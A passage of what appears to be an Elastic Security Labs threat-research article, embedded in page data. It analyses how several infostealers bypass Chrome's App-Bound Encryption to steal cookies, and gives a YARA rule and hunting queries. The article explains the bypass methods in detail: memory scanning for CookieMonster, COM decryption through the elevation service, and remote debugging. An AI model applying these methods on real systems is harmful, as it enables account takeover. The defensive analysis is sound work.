class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fgoing-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant%2Fblog-security-radar-720x420.png&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fgoing-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant%2Fblog-security-radar-720x420.png&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fgoing-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant%2Fblog-security-radar-720x420.png&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">8 June 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Going Coast to Coast - Climbing the Pyramid with the Deimos Implant</h3><p class="text-sm text-zinc-400">The Deimos implant was first reported in 2020 and has been in active development; employing advanced analysis countermeasures to frustrate analysis. This post details the campaign TTPs through the malware indicators.</p></div></a></div></div></main><footer class="mt-auto text-xs md:text-sm"><div class="container py-6 flex flex-col md:flex-row gap-2 md:gap-0 justify-between items-center"><div class="text-zinc-300"><nav><ul class="flex space-x-4"><li><a class="hover:text-white font-medium" href="/security-labs/sitemap.xml">Sitemap</a></li><li><a class="hover:text-white font-medium flex items-center space-x-1" href="https://elastic.co?utm_source=elastic-search-labs&utm_medium=referral&utm_campaign=search-labs&utm_content=footer"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" aria-hidden="true" class="inline-block w-3 h-3"><path stroke-linecap="round" stroke-linejoin="round" d="M13.5 6H5.25A2.25 2.25 0 003 8.25v10.5A2.25 2.25 0 005.25 21h10.5A2.25 2.25 0 0018 18.75V10.5m-10.5 6L21 3m0 0h-5.25M21 3v5.25"></path></svg><span>Elastic.co</span></a></li><li><a class="hover:text-white font-medium flex items-center space-x-1" href="https://twitter.com/elasticseclabs"><svg class="w-4 h-4 inline-block w-3 h-3" viewBox="0 0 24 24"><path fill="currentColor" d="M23.954 4.569c-.885.389-1.83.653-2.825.772a4.98 4.98 0 002.187-2.746 9.955 9.955 0 01-3.157 1.204 4.98 4.98 0 00-8.49 4.54A14.128 14.128 0 011.69 3.05a4.98 4.98 0 001.54 6.638A4.94 4.94 0 011.2 8.62v.06a4.98 4.98 0 004 4.87 4.94 4.94 0 01-2.24.086 4.98 4.98 0 004.64 3.45A9.97 9.97 0 010 20.35a14.075 14.075 0 007.59 2.22c9.16 0 14.17-7.583 14.17-14.17 0-.217-.005-.434-.015-.65a10.128 10.128 0 002.485-2.58l-.001-.001z"></path></svg><span>@elasticseclabs</span></a></li></ul></nav></div><div class="flex flex-col space-y-1 text-zinc-300"><p>© <!-- -->2024<!-- -->. Elasticsearch B.V. All Rights Reserved.</p></div></div></footer></main></div><script id="__NEXT_DATA__" type="application/json">{"props":{"pageProps":{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),w=(t,e)=\u003e{for(var a in e)s(t,a,{get:e[a],enumerable:!0})},i=(t,e,a,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of g(e))!_.call(t,r)\u0026\u0026r!==a\u0026\u0026s(t,r,{get:()=\u003ee[r],enumerable:!(o=x(e,r))||o.enumerable});return t};var y=(t,e,a)=\u003e(a=t!=null?u(f(t)):{},i(e||!t||!t.__esModule?s(a,\"default\",{value:t,enumerable:!0}):a,t)),M=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var c=j((X,l)=\u003e{l.exports=_jsx_runtime});var D={};w(D,{default:()=\u003eC,frontmatter:()=\u003ed});var n=y(c()),d={title:\"Malware analysis\",slug:\"malware-analysis\",categories:[{slug:\"malware-analysis\"}]};function m(t){return(0,n.jsx)(n.Fragment,{})}function p(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=p;return M(D);})();\n;return Component;"},"_id":"topics/malware-analysis.mdx","_raw":{"sourceFilePath":"topics/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"topics","contentType":"mdx","flattenedPath":"topics/malware-analysis"},"type":"Topic","url":"/topics/malware-analysis","categories":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}],"articles":[{"title":"Katz and Mouse Game: MaaS Infostealers Adapt to Patched Chrome Defenses","slug":"katz-and-mouse-game","date":"2024-10-28","description":"Elastic Security Labs breaks down bypass implementations from the infostealer ecosystem’s reaction to Chrome 127's Application-Bound Encryption scheme.","image":"Security Labs Images 2.jpg","tags":["infostealer","chrome","cookie","VIDAR","STEALC","LUMMA","METASTEALER","PHEMEDRONE","XENOSTEALER"],"body":{"raw":"\n# Introduction\n\nIn July, Google [announced](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html) a new protection mechanism for cookies stored within Chrome on Windows, known as Application-Bound Encryption. There is no doubt this security implementation has raised the bar and directly impacted the malware ecosystem. After months with this new feature, many infostealers have written new code to bypass this protection (as the Chrome Security Team predicted) in order to stay competitive in the market and deliver capabilities that reliably retrieve cookie data from Chrome browsers.\n\nElastic Security Labs has been tracking a subset of this activity, identifying multiple techniques used by different malware families to circumvent App-Bound Encryption. While the ecosystem is still evolving in light of this pressure, our goal is to share technical details that help organizations understand and defend against these techniques. In this article, we will cover the different methods used by the following infostealer families:\n\n - STEALC/VIDAR\n - METASTEALER\n - PHEMEDRONE\n - XENOSTEALER\n - LUMMA\n\n# Key takeaways\n\n - Latest versions of infostealers implement bypasses around Google’s recent cookie protection feature using Application-Bound Encryption\n - Techniques include integrating offensive security tool ChromeKatz, leveraging COM to interact with Chrome services and decrypt the app-bound encryption key, and using the remote debugging feature within Chrome\n - Defenders should actively monitor for different cookie bypass techniques against Chrome on Windows in anticipation of future mitigations and bypasses likely to emerge in the near- to mid-term\n - Elastic Security provides mitigations through memory signatures, behavioral rules, and hunting opportunities to enable faster identification and response to infostealer activity\n\n# Background\n\nGenerically speaking, cookies are used by web applications to store visitor information in the browser the visitor uses to access that web app. This information helps the web app track that user, their preferences, and other information from location to location– even across devices.\n\nThe authentication token is one use of the client-side data storage structures that enables much of how modern web interactivity works. These tokens are stored by the browser after the user has successfully authenticated with a web application. After username and password, after multifactor authentication (MFA) via one-time passcodes or biometrics, the web application “remembers” your browser is you via the exchange of this token with each subsequent web request.\n\nA malicious actor who gets access to a valid authentication token can reuse it to impersonate the user to that web service with the ability to take over accounts, steal personal or financial information, or perform other actions as that user such as transfer financial assets.\n\nCybercriminals use infostealers to steal and commoditize this type of information for their financial gain.\n\n## Google Chrome Cookie Security\n\nLegacy versions of Google Chrome on Windows used the Windows native [Data Protection API](https://learn.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection) (DPAPI) to encrypt cookies and protect them from other user contexts. This provided adequate protection against several attack scenarios, but any malicious software running in the targeted user’s context could decrypt these cookies using the DPAPI methods directly. Unfortunately, this context is exactly the niche that infostealers often find themselves in after social engineering for initial access. The DPAPI scheme is now [well known to attackers](https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107) with several attack vectors; from local decryption using the API, to stealing the masterkey and decrypting remotely, to abusing the domain-wide backup DPAPI key in an enterprise environment.\n\nWith the release of Chrome 127 in July 2024, Google [implemented](https://developer.chrome.com/release-notes/127) Application-Bound Encryption of browser data. This mechanism directly addressed many common DPAPI attacks against Windows Chrome browser data–including cookies. It does this by storing the data in encrypted datafiles, and using a service running as SYSTEM to verify any decryption attempts are coming from the Chrome process before returning the key to that process for decryption of the stored data.\n\n![Chrome 127 Application-Bound Encryption Scheme. Source: https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](/assets/images/katz-and-mouse-game/image5.png)\n\n\n\nWhile it is our view that this encryption scheme is not a panacea to protect all browser data (as the Chrome Security Team acknowledges in their release) we do feel it has been successful in driving malware authors to TTPs that are more overtly malicious, and easier for defenders to identify and respond to.\n\n# Stealer Bypass Techniques, Summarized\n\nThe following sections will describe specific infostealer techniques used to bypass Google’s App-Bound Encryption feature as observed by Elastic. Although this isn’t an exhaustive compilation of bypasses, and development of these families is ongoing, they represent an interesting dynamic within the infostealer space showing how malware developers responded to Google’s recently updated security control. The techniques observed by our team include:\n\n - Remote debugging via Chrome’s DevTools Protocol\n - Reading process memory of Chrome network service process (ChromeKatz and ```ReadProcessMemory``` (RPM))\n - Elevating to ```SYSTEM``` then decrypting ```app_bound_encryption_key``` with the ```DecryptData``` method of ```GoogleChromeElevationService``` through COM\n\n![Timeline of events](/assets/images/katz-and-mouse-game/image30.png)\n\n## STEALC/VIDAR\n\nOur team observed new code introduced to STEALC/VIDAR related to the cookie bypass technique around September 20th. These were atypical samples that stood out from previous versions and were implemented as embedded 64-bit PE files along with conditional checks. Encrypted values in the SQLite databases where Chrome stores its data are now prefixed with v20, indicating that the values are now encrypted using application-bound encryption.\n\n\u003e [STEALC](https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc) was introduced in 2023 and was developed with “heavy inspiration” from other more established stealers such as [RACOON](https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon) and [VIDAR](https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar). STEALC and VIDAR have continued concurrent development, and in the case of App-Bound Encryption bypasses have settled on the same implementation.\n\nDuring the extraction of encrypted data from the databases the malware checks for this prefix. If it begins with ```v20```, a child process is spawned using the embedded PE file in the ```.data``` section of the binary. This program is responsible for extracting unencrypted cookie values residing in one of Chrome's child processes. \n\n![Embedded PE file](/assets/images/katz-and-mouse-game/image2.png)\n\nThis embedded binary creates a hidden desktop via ```OpenDesktopA``` / ```CreateDesktopA``` then uses ```CreateToolhelp32Snapshot``` to scan and terminate all ```chrome.exe``` processes. A new ```chrome.exe``` process is then started with the new desktop object. Based on the installed version of Chrome, the malware selects a signature pattern for the Chromium feature [CookieMonster](https://www.chromium.org/developers/design-documents/network-stack/cookiemonster/), an internal component used to manage cookies.\n\n![Signature pattern for ```CookieMonster```](/assets/images/katz-and-mouse-game/image38.png)\n\nWe used the [signature patterns](https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Main.cpp#L123) to pivot to existing code developed for an offensive security tool called [ChromeKatz](https://github.com/Meckazin/ChromeKatz). At this time, the patterns have been removed from the ChromeKatz repository and replaced with a new technique. Based on our analysis, the malware author appears to have reimplemented ChromeKatz within STEALC in order to bypass the app-bound encryption protection feature. \n\nOnce the malware identifies a matching signature, it enumerates Chrome’s child processes to check for the presence of the ```--utility-sub-type=network.mojom.NetworkService``` command-line flag. This flag indicates that the process is the network service responsible for handling all internet communication. It becomes a prime target as it holds the sensitive data the attacker seeks, as described in MDSec’s [post](https://www.mdsec.co.uk/2021/01/breaking-the-browser-a-tale-of-ipc-credentials-and-backdoors/). It then returns a handle for that specific child process. \n\n![Enumerating for Chrome’s network service](/assets/images/katz-and-mouse-game/image37.png)\n\nNext, it enumerates each module in the network service child process to find and retrieve the base address and size of ```chrome.dll``` loaded into memory. STEALC uses [```CredentialKatz::FindDllPattern```](https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CredentialKatz/Memory.cpp#L280) and [```CookieKatz::FindPattern```](https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CookieKatz/Memory.cpp#L435) to locate the CookieMonster instances. There are 2 calls to ```CredentialKatz::FindDllPattern```.\n\n![Calls to ```CredentialKatz::FindDllPattern```](/assets/images/katz-and-mouse-game/image17.png)\n\nIn the first call to ```CredentialKatz::FindDllPattern```, it tries to locate one of the signature patterns (depending on the victim’s Chrome version) in ```chrome.dll```. Once found, STEALC now has a reference pointer to that memory location where the byte sequence begins which is the function ```net::CookieMonster::~CookieMonster```, destructor of the ```CookieMonster``` class.\n\n![Byte sequence for ```net::CookieMonster::~CookieMonster``` found in ```chrome.dll```](/assets/images/katz-and-mouse-game/image14.png)\n\nThe second call to ```CredentialKatz::FindDllPattern``` passes in the function address for ```net::CookieMonster::~CookieMonster(void)``` as an argument for the byte sequence search, resulting in STEALC having a pointer to ```CookieMonster```’s Virtual Function Pointer struct.\n\n![```CookieMonster```’s vtable in ```chrome.dll```](/assets/images/katz-and-mouse-game/image19.png)\n\nThe following method used by STEALC is again, identical to ChromeKatz, where it locates ```CookieMonster``` instances by scanning memory chunks in the ```chrome.dll``` module for pointers referencing the ```CookieMonster``` vtable. Since the vtable is a constant across all objects of a given class, any ```CookieMonster``` object will have the same vtable pointer. When a match is identified, STEALC treats the memory location as a ```CookieMonster``` instance and stores its address in an array.\n\n![Using ```CookieKatz::FindPattern``` to locate ```CookieMonster``` instances](/assets/images/katz-and-mouse-game/image16.png)\n\nFor each identified ```CookieMonster``` instance, STEALC accesses the internal ```CookieMap``` structure located at an offset of ```+0x30```, and which is a binary tree. Each node within this tree contains pointers to ```CanonicalCookieChrome``` structures. ```CanonicalCookieChrome``` structures hold unencrypted cookie data, making it accessible for extraction. STEALC then initiates a tree traversal by passing the first node into a dedicated traversal function.\n\n![Initiating ```CookieMap``` tree traversal for each ```CookieMonster``` instance found](/assets/images/katz-and-mouse-game/image20.png)\n\nFor each node, it calls ```ReadProcessMemory``` to access the ```CanonicalCookieChrome``` structure from the target process’s memory, then further processing it in ```jy::GenerateExfilString```. \n\n![```CookieMap``` traversal subroutine](/assets/images/katz-and-mouse-game/image31.png)\n\nSTEALC formats the extracted cookie data by converting the expiration date to UNIX format and verifying the presence of the ```HttpOnly``` and ```Secure``` flags. It then appends details such as the cookie's name, value, domain, path, and the ```HttpOnly``` and ```Secure``` into a final string for exfiltration. [```OptimizedString```](https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Memory.cpp#L10) structs are used in place of strings, so string values can either be the string itself, or if the string length is greater than 23, it will point to the address storing the string. \n\n![Constructing string for data exfiltration](/assets/images/katz-and-mouse-game/image23.png)\n\n## METASTEALER\n\n[METASTEALER](https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer), first observed in 2022, recently upgraded its ability to steal Chrome data, bypassing Google’s latest mitigation efforts. On September 30th, the malware authors announced this update via their Telegram channel, highlighting its enhanced capability to extract sensitive information, including cookies, despite the security changes in Chrome's version ```129+```.\n\n![METASTEALER announcement and translation](/assets/images/katz-and-mouse-game/image26.png)\n\n![source: https://x.com/g0njxa/status/1840761619686568319/](/assets/images/katz-and-mouse-game/image28.png)\n\nThe [first sample](https://www.virustotal.com/gui/file/973a9056040af402d6f92f436a287ea164fae09c263f80aba0b8d5366ed9957a) observed in the wild by our team was discovered on September 30th, the same day the authors promoted the update. Despite claims that the malware operates without needing ```Administrator``` privileges, our testing revealed it does require elevated access, as it attempts to impersonate the ```SYSTEM``` token during execution.\n\n![Code comparison between an old and a new version of the family](/assets/images/katz-and-mouse-game/image11.png)\n\nAs shown in the screenshots above, the ```get_decryption``` method now includes a new Boolean parameter. This value is set to ```TRUE``` if the encrypted data (cookie) begins with the ```v20``` prefix, indicating that the cookie is encrypted using Chrome's latest encryption method. The updated function retains backward compatibility, still supporting the decryption of cookies from older Chrome versions if present on the infected machine.\n\nThe malware then attempts to access the ```Local State``` or ```LocalPrefs.json``` files located in the Chrome profile directory. Both files are JSON formatted and store encryption keys (```encrypted_key```) for older Chrome versions and ```app_bound_encrypted_key``` for newer ones. If the flag is set to ```TRUE```, the malware specifically uses the ```app_bound_encrypted_key``` to decrypt cookies in line with the updated Chrome encryption method.\n\n![```app_bound_encrypted_key``` extracted from Chrome json file](/assets/images/katz-and-mouse-game/image13.png)\n\nIn this case, the malware first impersonates the ```SYSTEM``` token using a newly introduced class called ```ContextSwitcher```.\n\n![New class for TOKEN impersonation](/assets/images/katz-and-mouse-game/image35.png)\n\nIt then decrypts the key by creating an instance via the COM of the Chrome service responsible for decryption, named ```GoogleChromeElevationService```, using the CLSID ```708860E0-F641-4611-8895-7D867DD3675B```. Once initialized, it invokes the [```DecryptData```](https://github.com/chromium/chromium/blob/225f82f8025e4f93981310fd33daa71dc972bfa9/chrome/elevation_service/elevator.cc#L155) method to decrypt the ```app_bound_encrypted_key``` key which will be used to decrypt the encrypted cookies.\n\n![New class ```ComInvoker``` to invoke methods from ```GoogleChromeElevationService``` service](/assets/images/katz-and-mouse-game/image8.png)\n\nMETASTEALER employs a technique similar to the one demonstrated in a [gist](https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824) shared [on X](https://x.com/snovvcrash/status/1839715912812802162) on September 27th, which may have served as inspiration for the malware authors. Both approaches leverage similar methods to bypass Chrome's encryption mechanisms and extract sensitive data.\n\n## PHEMEDRONE\n\nThis [open-source stealer](https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer) caught the world’s attention earlier in the year through its usage of a Windows SmartScreen vulnerability (CVE-2023-36025). While its development is still occurring on Telegram, our team found a recent [release](https://www.virustotal.com/gui/file/1067d27007ea862ddd68e90ef68b6d17fa18f9305c09f72bad04d00102a60b8c) (2.3.2) submitted at the end of September including new cookie grabber functionality for Chrome.\n\n![```README.txt``` within PHEMEDRONE project](/assets/images/katz-and-mouse-game/image10.png)\n\nThe malware first enumerates the different profiles within Chrome, then performs a browser check using function (```BrowserHelpers.NewEncryption```) checking for the Chrome browser with a version greater than or equal to ```127```.\n\n![Chrome version verification in PHEMEDRONE](/assets/images/katz-and-mouse-game/image27.png)\n\nIf the condition matches, PHEMEDRONE uses a combination of helper functions to extract the cookies.\n\n![High-level functions used cookie extraction in PHEMEDRONE](/assets/images/katz-and-mouse-game/image34.png)\n\nBy viewing the ```ChromeDevToolsWrapper``` class and its different functions, we can see that PHEMEDRONE sets up a remote debugging session within Chrome to access the cookies. The default port (```9222```) is used along with window-position set to ```-2400```,```-2400``` which is set off-screen preventing any visible window from alerting the victim.\n\n![New Chrome process in remote debug mode](/assets/images/katz-and-mouse-game/image15.png)\n\nNext, the malware establishes a WebSocket connection to Chrome’s debugging interface making a request using deprecated Chrome DevTools Protocol method (```Network.getAllCookies```). \n\n![Chrome DevTools Protocol used to retrieve cookies](/assets/images/katz-and-mouse-game/image24.png)\n\nThe cookies are then returned from the previous request in plaintext, below is a network capture showing this behavior:\n\n![Cookie data within network capture](/assets/images/katz-and-mouse-game/image32.png)\n\n## XENOSTEALER\n\n[XENOSTEALER](https://github.com/moom825/XenoStealer/) is an open-source infostealer hosted on GitHub. It appeared in July 2024 and is under active development at the time of this publication. Notably, the Chrome bypass feature was committed on September 26, 2024.\n\nThe approach taken by XENOSTEALER is similar to that of METASTEALER. It first parses the JSON file under a given Chrome profile to extract the ```app_bound_encrypted_key```. However, the decryption process occurs within a Chrome process. To achieve this, XENOSTEALER launches an instance of ```Chrome.exe```, then injects code using a helper class called [```SharpInjector```](https://github.com/moom825/XenoStealer/blob/d1c7e242183a2c8582c179a1b546f0a5cdff5f75/XenoStealer/Injector/SharpInjector.cs), passing the encrypted key as a parameter.\n\nThe injected code subsequently calls the ```DecryptData``` method from the ```GoogleChromeElevationService``` to obtain the decrypted key.\n\n![Source code of the injected code](/assets/images/katz-and-mouse-game/image29.png) \n\n## LUMMA\n\nIn mid-October, the latest version of [LUMMA](https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma) implemented a new method to bypass Chrome cookie protection, as reported by [@g0njxa](https://x.com/g0njxa).\n\n![](/assets/images/katz-and-mouse-game/image40.png)\n\nWe analyzed a recent version of LUMMA, confirming that it managed to successfully recover the cookie data from the latest version of Google Chrome (```130.0.6723.70```). LUMMA first creates a visible Chrome process via ```Kernel32!CreateProcessW```.\n\n![Dump of ```CreateProcessW lpApplicationName``` parameter](/assets/images/katz-and-mouse-game/image3.png)\n\nThis activity was followed up in the debugger with multiple calls to ```NtReadVirtualMemory``` where we identified LUMMA searching within the Chrome process for ```chrome.dll```.\n\n![LUMMA seeks ```chrome.dll``` in Chrome](/assets/images/katz-and-mouse-game/image7.png)\n\nOnce found, the malware copies the ```chrome.dll``` image to its own process memory using ```NtReadVirtualMemory```. In a similar fashion to the ChromeKatz technique, Lumma leverages pattern scanning to target Chrome’s ```CookieMonster``` component. \n\n![Lumma’s pattern scanning](/assets/images/katz-and-mouse-game/image36.png)\n\nLumma uses an obfuscated signature pattern to pinpoint the ```CookieMonster``` functionality:\n\n```\n3Rf5Zn7oFA2a????k4fAsdxx????l8xX5vJnm47AUJ8uXUv2bA0s34S6AfFA????kdamAY3?PdE????6G????L8v6D8MJ4uq????k70a?oAj7a3????????K3smA????maSd?3l4\n```\n\nBelow is the YARA rule after de-obfuscation:\n\n```\nrule lumma_stealer\n{\n meta:\n author = \"Elastic Security Labs\"\n strings:\n $lumma_pattern = { 56 57 48 83 EC 28 89 D7 48 89 CE E8 ?? ?? ?? ?? 85 FF 74 08 48 89 F1 E8 ?? ?? ?? ?? 48 89 F0 48 83 C4 28 5F 5E C3 CC CC CC CC CC CC CC CC CC CC 56 57 48 83 EC 38 48 89 CE 48 8B 05 ?? ?? ?? ?? 48 31 E0 48 89 44 24 ?? 48 8D 79 ?? ?? ?? ?? 28 E8 ?? ?? ?? ?? 48 8B 46 20 48 8B 4E 28 48 8B 96 ?? ?? ?? ?? 4C 8D 44 24 ?? 49 89 10 48 C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 FA FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 31 E1}\n condition:\n all of them\n}\n```\n\nAfter decoding and searching for the pattern in ```chrome.dll```, this leads to the ```CookieMonster``` destructor ([```net::CookieMonster::~CookieMonster```](https://chromium.googlesource.com/chromium/src/net/+/master/cookies/cookie_monster.cc#657)).\n\n![Lumma pattern match on ```CookieMonster```](/assets/images/katz-and-mouse-game/image25.png)\n\nThe cookies are then identified in memory and dumped out in clear text from the Chrome process.\n\n![LUMMA dumping the cookie in clear text from Chrome](/assets/images/katz-and-mouse-game/image21.png)\n\nOnce completed, LUMMA sends out the cookies along with the other requested data as multiple zip files (xor encrypted and base64 encoded) to the C2 server.\n\n![Received stolen cookies on the C2 side](/assets/images/katz-and-mouse-game/image12.png)\n\n# Detection\n\nBelow are the following behavioral detections that can be used to identify techniques used by information stealers: \n\n - [Web Browser Credential Access via Unusual Process](https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unusual_process.toml#L8)\n - [Web Browser Credential Access via Unsigned Process](https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unsigned_process.toml#L8)\n - [Access to Browser Credentials from Suspicious Memory](https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_access_to_browser_credentials_from_suspicious_memory.toml#L8)\n - [Failed Access Attempt to Web Browser Files](https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_failed_access_attempt_to_web_browser_files.toml#L8)\n - [Browser Debugging from Unusual Parent](https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_browser_debugging_from_unusual_parent.toml#L3)\n - [Potential Browser Information Discovery](https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/discovery_potential_browser_information_discovery.toml#L8)\n\nAdditionally, the following queries can be used for hunting diverse related abnormal behaviors: \n\n## Cookies access by an unusual process\n\nThis query uses file open events and aggregate accesses by process, then looks for ones that are observed in unique hosts and with a low total access count:\n\n``` sql\nFROM logs-endpoint.events.file-default*\n| where event.category == \"file\" and event.action == \"open\" and file.name == \"Cookies\" and file.path like \"*Chrome*\"\n| keep file.path, process.executable, agent.id\n| eval process_path = replace(to_lower(process.executable), \"\"\"c:\\\\users\\\\[a-zA-Z0-9\\.\\-\\_\\$]+\\\\\"\"\", \"c:\\\\\\\\users\\\\\\\\user\\\\\\\\\")\n| stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by process_path\n| where agents_count \u003c= 2 and access_count \u003c=2\n```\n\nBelow example of matches from diverse information stealers including the updated ones with new Chrome cookies stealing capabilities: \n\n![ES|QL query results for suspicious browser cookies file access](/assets/images/katz-and-mouse-game/image22.png)\n\nMETASTEALER behavior tends to first terminate all running chrome instances then calls [```CoCreateInstance```](https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance) to instantiate the Google Chrome [elevation service](https://chromium.googlesource.com/chromium/src/+/main/chrome/elevation_service/), this series of events can be expressed with the following EQL query: \n\n``` sql\nsequence by host.id with maxspan=1s\n[process where event.action == \"end\" and process.name == \"chrome.exe\"] with runs=5\n[process where event.action == \"start\" and process.name == \"elevation_service.exe\"]\n```\n\n![EQL query results for suspicious browser termination](/assets/images/katz-and-mouse-game/image4.png)\n\nThe previous hunt indicates suspicious agents but doesn't identify the source process. By [enabling registry object access auditing through event 4663](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4663) on the Chrome Elevation service CLSID registry key ```{708860E0-F641-4611-8895-7D867DD3675B}```, we can detect unusual processes attempting to access that key: \n\n![Google Chrome Elevation COM registry access](/assets/images/katz-and-mouse-game/image9.png)\n\n``` sql\nFROM logs-system.security-default* | where event.code == \"4663\" and winlog.event_data.ObjectName == \"\\\\REGISTRY\\\\MACHINE\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{708860E0-F641-4611-8895-7D867DD3675B}\" and not winlog.event_data.ProcessName in (\"C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\", \"C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\") and not winlog.event_data.ProcessName like \"C:\\\\\\\\Program Files\\\\\\\\Google\\\\\\\\Chrome\\\\\\\\Application\\\\\\\\*\\\\\\\\elevation_service.exe\" | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by winlog.event_data.ProcessName | where agents_count \u003c= 2 and access_count \u003c=2\n```\n\nBelow is an example of matches on the METASTEALER malware while calling ```CoCreateInstance (CLSID_Elevator)```: \n\n![ES|QL query results for suspicious access to chrome elevation service registry](/assets/images/katz-and-mouse-game/image39.png)\n\nThe [PHEMEDRONE](https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer) stealer uses the [known](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) browser debugging method to collect cookies via Chromium API, this can be observed in the following screenshot where we can see an instance of NodeJs communicating with a browser instance with debugging enabled over port ```9222```:\n\n![PHEMEDRONE - network connection to chrome over port ```9222```](/assets/images/katz-and-mouse-game/image33.png)\n\nThe following EQL query can be used to look for unusual processes performing similar behavior: \n\n``` sql\nsequence by host.id, destination.port with maxspan=5s\n[network where event.action == \"disconnect_received\" and\n network.direction == \"ingress\" and\n process.executable in~ (\"C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\",\n\"C:\\\\Program Files\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe\") and\n source.address like \"127.*\" and destination.address like \"127.*\"]\n[network where event.action == \"disconnect_received\" and network.direction == \"egress\" and not\n process.executable in~ (\"C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\",\n\"C:\\\\Program Files\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe\") and source.address like \"127.*\" and destination.address like \"127.*\"]\n```\n\n![EQL query results for browser debugging activity](/assets/images/katz-and-mouse-game/image1.png)\n\n## Chrome Browser Spawned from an Unusual Parent\n\nThe STEALC sample that uses 